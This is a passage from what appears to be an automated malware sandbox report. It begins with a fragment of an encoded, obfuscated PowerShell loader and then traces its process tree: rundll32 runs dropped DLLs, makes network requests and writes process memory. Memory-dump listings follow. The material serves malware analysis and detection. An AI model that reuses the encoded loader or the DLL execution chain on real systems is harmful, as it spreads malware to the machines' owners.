cALgAiAHQAYABPAHMAdABSAGAAaQBOAGcAIgAoACkAOwAkAFIAZABvADgAcABhAHkAPQAoACcATgBnACcAKwAoACcAYgA2ACcAKwAnAHAAMgAnACkAKwAnAGgAJwApADsAYgByAGUAYQBrADsAJABSAGsAcAByADkAdABhAD0AKAAoACcAUgB2ACcAKwAnAGIAJwApACsAJwA3AGwAJwArACcAaABlACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQBwAHYAZQB4AHcAegA9ACgAKAAnAFQAMwBuAHIAJwArACcAZwAnACkAKwAnAGkAOQAnACkA
        2⤵
        • Blocklisted process makes network request
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:572
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rzidac2\Bn6rmb_\Nf3m8s.dll #1
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1008
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rzidac2\Bn6rmb_\Nf3m8s.dll #1
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:308
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Btri\yyulkb.kdi",RunDLL
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:1972

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/308-18-0x0000000000210000-0x000000000022F000-memory.dmp
          Download

          memory/572-10-0x000000001B9B0000-0x000000001B9B1000-memory.dmp
          Download

          memory/572-7-0x0000000002410000-0x0000000002411000-memory.dmp
          Download

          memory/572-6-0x000000001AD00000-0x000000001AD01000-memory.dmp
          Download

          memory/572-9-0x000000001AB90000-0x000000001AB91000-memory.dmp
          Download

          memory/572-4-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp
          Download

          memory/572-5-0x00000000025B0000-0x00000000025B1000-memory.dmp
          Download

          memory/572-8-0x0000000002270000-0x0000000002271000-memory.dmp
          Download

          memory/1672-21-0x000007FEF7DF0000-0x000007FEF806A000-memory.dmp
          Download

          memory/1972-20-0x0000000000150000-0x000000000016F000-memory.dmp
          Download